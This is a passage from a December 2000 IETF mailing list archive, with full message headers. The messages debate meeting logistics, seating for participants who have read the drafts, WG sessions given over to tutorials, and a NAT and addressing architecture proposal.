problem with that. Finally, adopting draconian measures that make the IETF some kind of secret/privileged society will mark the beginning of the end of the its usefulness. I would hate to see that happen. Dave [BTW, none of this addresses the value of what happens in the hallways and bars] According to Scott Brim: > > On 19 Dec 2000 at 11:08 -0800, Matthew Goldman apparently wrote: > > Speaking for myself, but I'm sure this applies to more than just me: I read > > the relevant RFCs and drafts ("did my homework"), but I am not "active" by > > the strict definitions some have used in this thread (at least not yet). I > > pre-paid the meeting fee (in good faith that in return for accepting my > > meeting fee, the IETF would provide meeting facilities commensurate to > > enable my participation), I paid for travel and went. I followed all IETF > > policies and procedures. Therefore, do I not have the "right" to be able to > > sit comfortably in a meeting room and be able to hear the speakers, and > > participate if I chose to, as much as anyone else? > > Why did you go? What did you get out of it that you didn't get out of > the mailing list? Results of in-person meetings are never final, and > can be challenged by mail if you have good engineering reasons to do so. > (I admit this is sometimes mostly theory, but you can appeal to the IESG > if you think practice is deviating too much from theory.) > > > If you strictly limit attendance to a meeting room based on previous > > participation, you will have no new participation, or "cross fertilization" > > of ideas (as someone stated). > > Participation by mail before participation in person. > > ...Scott > > From owner-ietf-outbound Tue Dec 19 18:10:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA27204 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 18:10:03 -0500 (EST) Received: from relay2.inwind.it (relay2.inwind.it [212.141.53.73]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA26323 for ; Tue, 19 Dec 2000 17:22:08 -0500 (EST) Received: from q1a7n0 (62.98.60.68) by relay2.inwind.it (5.1.054) id 3A3DE90D000A29F9; Tue, 19 Dec 2000 23:21:31 +0100 Message-ID: <001501c06a09$f17b1840$443c623e@q1a7n0> From: "alessio porcacchia" To: "Dave Robinson" , References: Subject: Ietf meeting in Italy? Date: Tue, 19 Dec 2000 23:20:49 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Dear Collegues and Friends, When the Ietf must decide to prepare a meeting in Italy I hope that see all of you "de visu" for talk to my "tech friends" Ciao Alessio Sys Adim Rome Italy From owner-ietf-outbound Tue Dec 19 18:30:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA27520 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 18:30:02 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA26402 for ; Tue, 19 Dec 2000 17:29:52 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id RAA12106; Tue, 19 Dec 2000 17:29:52 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id RAA16524; Tue, 19 Dec 2000 17:29:51 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id RAA19721; Tue, 19 Dec 2000 17:29:50 -0500 Date: Tue, 19 Dec 2000 17:29:50 -0500 From: V Guruprasad To: Mike Fisk , ietf@ietf.org Subject: Re: NATs *ARE* evil! Message-ID: <20001219172950.B19634@bubble.watson.ibm.com> References: <20001219162829.C19352@bubble.watson.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from mfisk@lanl.gov on Tue, Dec 19, 2000 at 13:49:25 -0800 X-Loop: ietf@ietf.org On Tue, 19 Dec 2000, Mike Fisk wrote: > It's one thing to hand out addresses or names. It's another thing to run > a top-level routing server that all of your children customers have to > route through to get to other top-level providers. Your mapping between > the two would imply that, for instance, all traffic between europe and > japan would have to transit across a RIPE top server and a JPNIC top > server? Only in principle. No more than typing http://www.nokia.com from Finland would route the lookup to the .com root server in Washington D.C. Also, you're misreading it as "all traffic" - it should be "all connection request traffic". > Again, the hierarchical addressing is nothing new, but the fact that > you're tying routing to the same hierarchy will have new side-effects on > routing that need to be understood. Spanning tree, faster but suboptimal logical path. You wouldn't want your data to go that way. > Right now, routing is orthogonal to addressing and DNS naming. You're The orthogonality comes from the translation. The translation goes sideways from the name service spanning tree. Secondly, it does not need to know the global network topology or addresses. You still need IGP (or equivalent) to supply the translation rulebase, but no BGP, so to speak. > removing addressing and tying routing to naming. Now your name servers > have to route packets and be aware of peering relationships. That has No. Their job is only to compile connection requests, distributed fashion, into the data paths. Peering relations would be presumably compiled by IGPs for them, but that's as much as they need to have to get the connections going. Btw, I'm still working on some aspects of translation optimisation and failure recovery, which will be critical if and when we try to apply it on the Internet scale, and which I expect will reach a conclusive level within the next few months. On the other hand, these aspects are not critical for deploying over the existing Internet, or even for "addressless" cellular Internet connectivity, for example, since the latter will be routed through transcoding gateways for the foreseeable future in any case. thanks, -p. From owner-ietf-outbound Tue Dec 19 18:40:06 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA27701 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 18:40:01 -0500 (EST) Received: from localhost.localdomain ([207.8.144.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA26475 for ; Tue, 19 Dec 2000 17:32:15 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eBJMaJI14486 for ; Tue, 19 Dec 2000 17:36:19 -0500 Sender: francis@localhost.localdomain Message-ID: <3A3FE2E2.5D0C10E7@ecal.com> Date: Tue, 19 Dec 2000 17:36:18 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: NATs *ARE* evil! References: <20001219112023.A19099@bubble.watson.ibm.com> <20001219155350.B19352@bubble.watson.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit V Guruprasad wrote: > > of virtual memory is that it makes it easier for the user (well, > > programmer) by hiding the nasty details of which physical address your > > IMHO, hiding is not the primary function of virtual memory addressing, On the contrary. Hiding the details from the programmer means that the OS can move data around without bothering the application; that's *precisely* the point of VM. Without that, you can't have swap space. Similarly, DNS hides the details of IP addresses, so that servers can be moved around without bothering the users. > although it does spin off as a powerful means of security (Section 2.1.3 > - security by invisibility). Otherwise known as "security through obscurity". -- /===============================================================\ |John Stracke | http://www.ecal.com |My opinions are my own. | |Chief Scientist |==============================================| |eCal Corp. |"Dinner Special: Turkey $2.35; Chicken or Beef| |francis@ecal.com|$2.25; Children $2.00." | \===============================================================/ From owner-ietf-outbound Tue Dec 19 18:50:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA27944 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 18:50:04 -0500 (EST) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA26510 for ; Tue, 19 Dec 2000 17:34:03 -0500 (EST) Received: from gra.isi.edu (gra.isi.edu [128.9.160.133]) by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id eBJMY4812723; Tue, 19 Dec 2000 14:34:04 -0800 (PST) From: Bob Braden Received: (from braden@localhost) by gra.isi.edu (8.8.7/8.8.6) id WAA01560; Tue, 19 Dec 2000 22:34:04 GMT Date: Tue, 19 Dec 2000 22:34:04 GMT Message-Id: <200012192234.WAA01560@gra.isi.edu> To: rja@inet.org, moore@cs.utk.edu Subject: Bottom feeders Cc: ietf@ietf.org, braden@ISI.EDU X-Sun-Charset: US-ASCII X-Loop: ietf@ietf.org *> *> why don't we reserve all *except* the last three rows for those *> who have read the drafts, leaving the last three rows for bottom *> feeders? *> *> Keith *> *> Keith, The problem is that sll who attend IETF meetings and care about the Internet are "bottom feeders", at one time or other. There is no way that any of us can keep current with more than a few working groups. However, a broad understanding of what is happening is vital if we are to avoid severe fragmentation of the Internet technology. Attending at least related WG sessions in our area seems like a minimum requirement to keep some general understadning of how things fit together. The ADs do a fantastic job of keeping some coherence, but they need an informed membership too. Bob Braden From owner-ietf-outbound Tue Dec 19 19:00:07 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA28174 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 19:00:02 -0500 (EST) Received: from infidel.boolean.net (root@[198.144.206.49]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA26564 for ; Tue, 19 Dec 2000 17:38:47 -0500 (EST) Received: from gypsy.OpenLDAP.org (gypsy.boolean.net [198.144.202.243]) by infidel.boolean.net (8.9.3/8.9.3) with ESMTP id WAA42317; Tue, 19 Dec 2000 22:38:37 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <5.0.0.25.0.20001219141827.02254d50@router.boolean.net> X-Sender: guru@router.boolean.net X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Tue, 19 Dec 2000 14:38:36 -0800 To: "Timothy J. Salo" From: "Kurt D. Zeilenga" Subject: Re: IETF logistics Cc: ietf@ietf.org In-Reply-To: <200012192115.PAA00308@www.saloits.com> References: <200012191951.OAA10048@astro.cs.utk.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Loop: ietf@ietf.org At 03:15 PM 12/19/00 -0600, Timothy J. Salo wrote: >What happened to the proven and time-honored technique of getting >to a meeting early if you want a seat? Don't you mean a seat AND electrical power? :-) BTW, much thanks to Steve and his crew for providing a generous amount of electrical power outlets. As far as finding a seat for someone who has read all the materials for the session, that's what the front two rows are for. These rows should be open to others only after those who have read everything have had a chance to sit down. Note that the chance comes prior to start time of the meeting. Kurt From owner-ietf-outbound Tue Dec 19 19:10:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA28319 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 19:10:02 -0500 (EST) Received: from tcb.net ([205.168.100.1]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA26715 for ; Tue, 19 Dec 2000 17:49:39 -0500 (EST) Received: from sofos.tcb.net (sofos.tcb.net [127.0.0.1]) by tcb.net (8.9.3/8.9.3) with ESMTP id PAA24572; Tue, 19 Dec 2000 15:49:55 -0700 Message-Id: <200012192249.PAA24572@tcb.net> To: RJ Atkinson cc: ietf@ietf.org From: Danny McPherson Reply-To: danny@ambernetworks.com Subject: Re: IETF logistics Date: Tue, 19 Dec 2000 15:49:54 -0700 Sender: danny@sofos.tcb.net X-Loop: ietf@ietf.org It did indeed seem that the significant majority of time was spent 'viewing presentations/tutorials', while the WG chairs frequently employed RED/discard on the folks that occupied the queues at the microphones in order to more promptly begin the next tutorial and finish within the alloted time. This is unfortunate, as the main idea behind meeting is to hash out design issues, not to get overly verbose presentations that typically aren't required by those that read the drafts. -danny > Some compare/contrast about then and now, followed by > some (perhaps radical) thoughts to ponder. I'm NOT interested > in quibbles about the timeframe for THEN or minor differences > in perception about either THEN or NOW, so I'll ignore any > troll-like responses. This is intended as a very high-level > set of comments -- high-level necessarily implies a certain > lack of crispness. > > THEN: > - Presentations at IETF normally did NOT rehash > material available in the I-Ds in tutorial style. > - Viewgraphs were hand-scribbled the night before, > often after some lobby bof before the meeting. > - More people read the I-Ds before the meeting, though there > was griping about inadequate preparation then also. > - Working Group sessions actually did work, designing > in real-time, discussing technical issues in real-time, > resolving open technical issues in a higher bandwidth > environment. > - Interim WG meetings were rare. > - Folks who had read the drafts could generally get into > and participate in meetings of interest. > > NOW: > - Presentations mostly do rehash material in the I-Ds > - Viewgraphs with fancy cartoon graphics, company logos, > that required lots of time to create the week before > the meeting are shown. > - Few people (as a percentage of WG attendees) have actually > read the I-Ds beforehand, relying instead on the presentations. > - Working Group sessions are mostly educational overviews, > without significant real-time discussion or resolution > of technical issues. > - Interim WG meetings are much more frequent, in part > because only people deeply interested in the topic > bother to travel for such meetings. > - Folks who have read the drafts often cannot get into > the meetings they have prepared for. I had abysmal luck > at actually attending sessions where I had read the drafts > and am actually involved in implementation or use of > a specification. > > In the short term, IETF have signed contracts for > 3 meetings per year. We don't want to break any existing > contracts. What we can do for future IETFs is make the current > sporadic practice of reserving the front few rows of seats for > folks who have actually read the drafts and are involved in > implementation. We can also end the de facto practice of > using the sessions as tutorials and discontinue fancy prepared > presentations of the material already in the I-Ds. While > tutorials are a fine thing, they are appropriate for USENIX > or Interop, not IETF WG sessions, IMHO. > > However, I'd like to propose that we experiment > with only having 2 all-area IETF meetings per year when we > can do so without breaking any contracts. > > Further, I'd suggest that each area would have the > option (discretion of the relevant ADs) of having a single > Area Meeting someplace. This would last only perhaps 2 days. > It could be held at a rather larger number of venues > (due to smaller attendance) -- a college/university or large > corporate location might well be a very good choice for such > a meeting. In addition, WGs ought to be encouraged to hold > at least one WG interim meeting per year, to provide a vehicle > for meaty discussion of technical issues by folks who are > current in the WG, involved in implementation or deployment > of that WG's material, and so forth. > > Sincerely, > > Ran > rja@inet.org > From owner-ietf-outbound Tue Dec 19 19:30:35 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA28571 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 19:30:02 -0500 (EST) Received: from smtppop3pub.verizon.net (smtppop3pub.gte.net [206.46.170.22]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA27665 for ; Tue, 19 Dec 2000 18:39:06 -0500 (EST) Received: from matt.verizon.net (w066.z208037018.sjc-ca.dsl.cnc.net [208.37.18.66]) by smtppop3pub.verizon.net with ESMTP ; id RAA88301410 Tue, 19 Dec 2000 17:34:11 -0600 (CST) Message-Id: <5.0.2.1.2.20001219153023.02a26230@mail.gte.net> X-Sender: res06gzk@mail.gte.net X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Tue, 19 Dec 2000 15:38:34 -0800 To: Frank Kastenholz , RJ Atkinson , ietf@ietf.org From: Matt Holdrege Subject: Re: IETF logistics In-Reply-To: <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> References: <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 08:07 AM 12/19/2000, Frank Kastenholz wrote: >At 09:28 AM 12/19/00 -0500, RJ Atkinson wrote: > >We can also end the de facto practice of > >using the sessions as tutorials and discontinue fancy prepared > >presentations of the material already in the I-Ds. While > >tutorials are a fine thing, they are appropriate for USENIX > >or Interop, not IETF WG sessions, IMHO. > >I tried doing this in my area when I was on the IESG. >It didn't work. The chairs and attendees want this stuff. Nothing personal Frank, but in a general sense I'd say you weren't doing your job well enough. Chairs serve at the discretion of the AD's. The AD's need to choose their chairs wisely and if the chairs feel that they need to have tutorials, then the chairs need better guidance or need replacement. And one of the points to this thread is that we shouldn't care what the attendees want as the IETF is not a tutorial conference. It's a working conference and only the people who are working on the drafts should be catered to. Others can certainly hang around and learn, but they shouldn't be catered to. As a chair myself I've occasionally fallen into this trap of thinking the "audience" needs to be "presented" with the material. But I'm usually quickly reminded that we are not there for tutorials. I think the best use of a viewgraph is to display a list of to-do items to the group. If the people in the room do not understand the overall architecture, they need to read the drafts more or find out elsewhere. From owner-ietf-outbound Tue Dec 19 19:40:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA28700 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 19:40:03 -0500 (EST) Received: from nemo.corp.equinix.com (somehost-1.equinix.net [207.20.85.153]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA27677 for ; Tue, 19 Dec 2000 18:39:19 -0500 (EST) From: hardie@equinix.com Received: (from hardie@localhost) by nemo.corp.equinix.com (8.9.3/8.9.3) id PAA23528; Tue, 19 Dec 2000 15:39:21 -0800 (PST) Message-Id: <200012192339.PAA23528@nemo.corp.equinix.com> Subject: Re: IETF logistics To: paul.hoffman@vpnc.org (Paul Hoffman / VPNC) Date: Tue, 19 Dec 2000 15:39:21 -0800 (PST) Cc: ietf@ietf.org In-Reply-To: from "Paul Hoffman / VPNC" at Dec 19, 2000 01:26:10 PM Reply-to: hardie@equinix.com X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit I respect both Pete and Paul's position here, but I believe this frustration is endemic to our efforts rather than specific to how the working group meeting agendas are set. I also believe that the frustration is worth the result. One of the things which sets the IETF apart from other efforts to produce standards is the breadth of perspective it brings to the problems which it chooses to tackle. Where it is fairly easy to get a group of like-minded people together to tackle a specific network problem, it is much harder to get a group of people together who can see how the proposed solution will impact the other parts of the network. From my perspective, one of the chief values of the IETF face-to-face meetings is the opportunity they present to have folks from different parts of the Internet engineering community provide input into the solutions which have been proposed by the communities of interest which the working groups represent. Sometimes that results in those communities of interest growing, as individuals recognize their need to participate. Sometimes a new perspective cogently expressed at a face to face meeting is all it takes to move a working group in a new direction. In either case, without the participation of the larger IETF community in the working group meetings, those perspectives do not get expressed to the working group at early stages of the process. That means much more work for the IESG in managing the inter-area issues when drafts are ready to move forward. It can also mean delay as things which might have been caught early have to be unraveled after other elements of the design depend on them. Whether the agenda of a working group takes the shape of draft presentations or issue lists, I believe it is important for working groups to be open to new voices during the IETF meetings, for they don't have that many other opportunities to hear them. This certainly engenders frustration when the new voices rehash old problems, and it requires skill on the part of the presenters and chair to keep the resurgence of old problems from eating all the time. It also competes with the use of the meetings to handle pressing technical issues which benefit from focused face-to-face work. Balancing those competing interests, again, requires work and skill on the part of the chair. As thankless and unsung as that work often is, it is worth it. We may not get perfect standards from the process, but we do get engineering solutions which do a pretty good job of balancing the needs of the different parts of the network infrastructure. I believe we can all agree that we need better ways of scaling the input to IETF working groups. I hope we can also agree that we need them because we need to retain the skills and perspective of our participants, not simply because some group sizes are unwieldy or some meeting resources constrained. regards, Ted Hardie > > At 11:20 AM -0600 12/19/00, Pete Resnick wrote: > >How about it? Other chairs wish to join me in this mission? > > Yup. As someone who chaired a meeting where we had three > presentations on three drafts that had already been on the list, and > the discussion was all around topics that could have been brought to > the list, I share your frustration. > > --Paul Hoffman, Director > --VPN Consortium > From owner-ietf-outbound Tue Dec 19 19:50:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA28869 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 19:50:02 -0500 (EST) Received: from tcb.net ([205.168.100.1]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA27955 for ; Tue, 19 Dec 2000 18:50:48 -0500 (EST) Received: from sofos.tcb.net (sofos.tcb.net [127.0.0.1]) by tcb.net (8.9.3/8.9.3) with ESMTP id QAA28656 for ; Tue, 19 Dec 2000 16:51:07 -0700 Message-Id: <200012192351.QAA28656@tcb.net> To: ietf@ietf.org From: Danny McPherson Reply-To: danny@ambernetworks.com Subject: Re: IETF logistics Date: Tue, 19 Dec 2000 16:51:07 -0700 Sender: danny@sofos.tcb.net X-Loop: ietf@ietf.org It did indeed seem that the significant majority of time was spent 'viewing presentations/tutorials', while the WG chairs frequently employed RED/discard on the folks that occupied the queues at the microphones in order to more promptly begin the next tutorial and finish within the alloted time. This is unfortunate, as the main idea behind meeting is to hash out design issues, not to get overly verbose presentations that typically aren't required by those that read the drafts. -danny > Some compare/contrast about then and now, followed by > some (perhaps radical) thoughts to ponder. I'm NOT interested > in quibbles about the timeframe for THEN or minor differences > in perception about either THEN or NOW, so I'll ignore any > troll-like responses. This is intended as a very high-level > set of comments -- high-level necessarily implies a certain > lack of crispness. From owner-ietf-outbound Tue Dec 19 20:20:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA29237 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 20:20:02 -0500 (EST) Received: from Mail6.mgfairfax.rr.com (fe6.southeast.rr.com [24.93.67.53]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA28295 for ; Tue, 19 Dec 2000 19:09:21 -0500 (EST) Received: from mosquito.inet.org ([24.168.212.166]) by Mail6.mgfairfax.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Tue, 19 Dec 2000 19:09:21 -0500 Message-Id: <5.0.0.25.2.20001219185752.01bea910@gnat.inet.org> X-Sender: rja@gnat.inet.org X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Tue, 19 Dec 2000 19:00:53 -0500 To: "Scott Brim" From: RJ Atkinson Subject: RE: 49th-IETF conf room planning Cc: ietf@ietf.org In-Reply-To: <14911.52665.627742.926801@localhost.localdomain> References: <32A27D619DB0154C963D55F14552019D16D636@windlord.worldwidepackets.com> <32A27D619DB0154C963D55F14552019D16D636@windlord.worldwidepackets.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Loop: ietf@ietf.org Someone else noted: >Participation by mail before participation in person. EXAMPLE I was an active participant (e.g. ask folks in Denmark who were involved with early MIME stuff) via email long before I showed up in person. To this day, I don't make every meeting. Before ever showing up in person, I was able to make major impacts on MIME's support for multi-lingual environments. I've seen others do similarly. For example, I've never run into Valdis at an IETF meeting, but he has an impact. ASSERTION So one need not attend to have an impact. Ran From owner-ietf-outbound Tue Dec 19 20:30:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA29376 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 20:30:03 -0500 (EST) Received: from roam.psg.com (adsl-63-206-97-82.dsl.snfc21.pacbell.net [63.206.97.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA29086 for ; Tue, 19 Dec 2000 20:02:18 -0500 (EST) Received: from randy by roam.psg.com with local (Exim 3.12 #1) id 148Xdk-0008Sw-00; Tue, 19 Dec 2000 17:01:56 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Pete Resnick Cc: Frank Kastenholz , RJ Atkinson , ietf@ietf.org Subject: Re: IETF logistics References: <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> Message-Id: Date: Tue, 19 Dec 2000 17:01:56 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > How about a first step: In WG sessions that I chair, there are going > to be no more presentations. From now on, one week before the IETF > meeting, document editors will be required to send me a list of > outstanding issues they wish to discuss in the WG session for their > particular drafts. I will make up the slides for all of the editors > with the lists that they propose and their discussion during the WG > meeting will be limited to those lists (with some wiggle room for > last minute additions by the WG). These lists can be posted to the WG > mailing list before the meeting so that if others need explanation, > they can ask (either on the list or directly to the document editor) > what those issues entail. one half of dnsext will join you randy From owner-ietf-outbound Tue Dec 19 20:40:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA29496 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 20:40:03 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA29099 for ; Tue, 19 Dec 2000 20:08:34 -0500 (EST) Received: from p7020-img-nt.cisco.com (dhcp-10-34-54-158.cisco.com [10.34.54.158]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id RAA24360; Tue, 19 Dec 2000 17:08:04 -0800 (PST) Message-Id: <5.0.2.1.2.20001219100047.0334a2c0@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Tue, 19 Dec 2000 10:01:17 -0800 To: Teemu Rinta-aho From: Fred Baker Subject: Re: WLAN Cc: Harald Koch , ietf@ietf.org In-Reply-To: References: <200012181958.OAA29700@ve3tla.ampr.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 11:03 AM 12/19/00 +0200, Teemu Rinta-aho wrote: >Thank you. That was nice service from Qualcomm, just too >bad there was no information of the wireless coverage >on the meeting web pages. for the record, apart from Qualcomm's HDR service, the Wireless was Cisco Aironet. From owner-ietf-outbound Tue Dec 19 20:50:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA29677 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 20:50:02 -0500 (EST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA29147 for ; Tue, 19 Dec 2000 20:10:57 -0500 (EST) Received: (from sob@localhost) by newdev.harvard.edu (8.9.3/8.9.3) id UAA09182; Tue, 19 Dec 2000 20:10:55 -0500 (EST) Date: Tue, 19 Dec 2000 20:10:55 -0500 (EST) From: Scott Bradner Message-Id: <200012200110.UAA09182@newdev.harvard.edu> To: fkastenholz@unispherenetworks.com, ietf@ietf.org, matt.holdrege@verizon.net, rja@inet.org Subject: Re: IETF logistics X-Loop: ietf@ietf.org > Nothing personal Frank, but in a general sense I'd say you weren't doing > your job well enough. easy to say if you have not been and AD Frank was a good AD and managed WGs as well as any of us (and better than many) yet getting people out of presentation mode is hard and takes previewing the actual presentations - not something that an AD can do (nor should an AD be THAT involved) - Alliosn & I sent mail to teh TSV WG chairs before the SD IETF meeting reminding the chairs that technology presentations were notthe best use of session time and yet many of the TSV WGs still had that type of presentations (including the tsvwg which we chair) Scott From owner-ietf-outbound Tue Dec 19 21:11:31 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA29887 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 21:10:02 -0500 (EST) Received: from A4.JCK.COM (ns.jck.com [209.187.148.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA29248 for ; Tue, 19 Dec 2000 20:20:41 -0500 (EST) Received: from KLENSIN01 ("port 13979"@[135.207.27.137]) by a4.jck.com (PMDF V6.0-23 #44844) with ESMTPA id <0G5U001EWEEFS2@a4.jck.com> for ietf@ietf.org; Tue, 19 Dec 2000 20:20:41 -0500 (EST) Date: Tue, 19 Dec 2000 20:20:12 -0500 From: John C Klensin Subject: Re: IETF logistics In-reply-to: <200012192249.PAA24572@tcb.net> To: danny@ambernetworks.com Cc: ietf@ietf.org Message-id: <2299636028.977257212@KLENSIN01> MIME-version: 1.0 X-Mailer: Mulberry/2.0.5 (Win32) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-disposition: inline Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit --On Tuesday, December 19, 2000 3:49 PM -0700 Danny McPherson wrote: > It did indeed seem that the significant majority of > time was spent 'viewing presentations/tutorials', > while the WG chairs frequently employed RED/discard > on the folks that occupied the queues at the > microphones in order to more promptly begin the > next tutorial and finish within the alloted time. > > This is unfortunate, as the main idea behind meeting > is to hash out design issues, not to get overly > verbose presentations that typically aren't required > by those that read the drafts. Just some personal thoughts... FWIW, I suggested to a couple of WG/BOF chairs last week that, if they _must_ have presentations (and I really like Pete Resnick's idea), they consider insisting on (i) Getting the materials in advance (ii) Consolidating all of the presentations onto a single machine, to be controlled by the Chair. (iii) Warning presenters that the presentations will be appropriately "accelerated" if they contain too much marketing hype, drift off-topic, or go wandering into the weeds. I would also favor equipping Chairs with long poles with hooks at the end for dragging performers offstage, or at least on/oiff switches for microphones :-) I think we have several different problems that are reinforcing each other, but we can probably attack at least some of them even if we don't have comprehensive solutions. john From owner-ietf-outbound Tue Dec 19 21:40:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA01315 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 21:40:02 -0500 (EST) Received: from smtppop3pub.verizon.net (smtppop3pub.gte.net [206.46.170.22]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA29808; Tue, 19 Dec 2000 21:03:35 -0500 (EST) Received: from matt.verizon.net (w066.z208037018.sjc-ca.dsl.cnc.net [208.37.18.66]) by smtppop3pub.verizon.net with ESMTP ; id TAA74930676 Tue, 19 Dec 2000 19:58:11 -0600 (CST) Message-Id: <5.0.2.1.2.20001219175032.02a507f0@mail.gte.net> X-Sender: res06gzk@mail.gte.net X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Tue, 19 Dec 2000 18:02:32 -0800 To: Scott Bradner , fkastenholz@unispherenetworks.com, ietf@ietf.org, iesg@ietf.org From: Matt Holdrege Subject: Re: IETF logistics In-Reply-To: <200012200110.UAA09182@newdev.harvard.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 05:10 PM 12/19/2000, Scott Bradner wrote: > > Nothing personal Frank, but in a general sense I'd say you weren't doing > > your job well enough. > >easy to say if you have not been and AD >Frank was a good AD and managed WGs as well as any of us (and better than >many) >yet getting people out of presentation mode is hard and takes previewing >the actual presentations - not something that an AD can do (nor should >an AD be THAT involved) - Alliosn & I sent mail to teh TSV WG chairs >before the SD IETF meeting reminding the chairs that technology >presentations were notthe best use of session time and yet many >of the TSV WGs still had that type of presentations (including >the tsvwg which we chair) Yes, Frank was a very good AD and as I said, nothing personal. But as AD's you all have the power to shape the meeting and choose or replace chairs. And as I've said in other forums, AD's have way too much to handle these days and the IETF is suffering a bit because of that. Something said in the SEAMOBY meeting was especially disturbing. The chair said that "it wasn't fair to the presenters" to cut them off. This came after the room gave resounding applause to cutting them off. Why do we have to be fair to the presenters? Why can't we be fair to the WG as a whole? I'll note a disclaimer that SEAMOBY was scheduled and 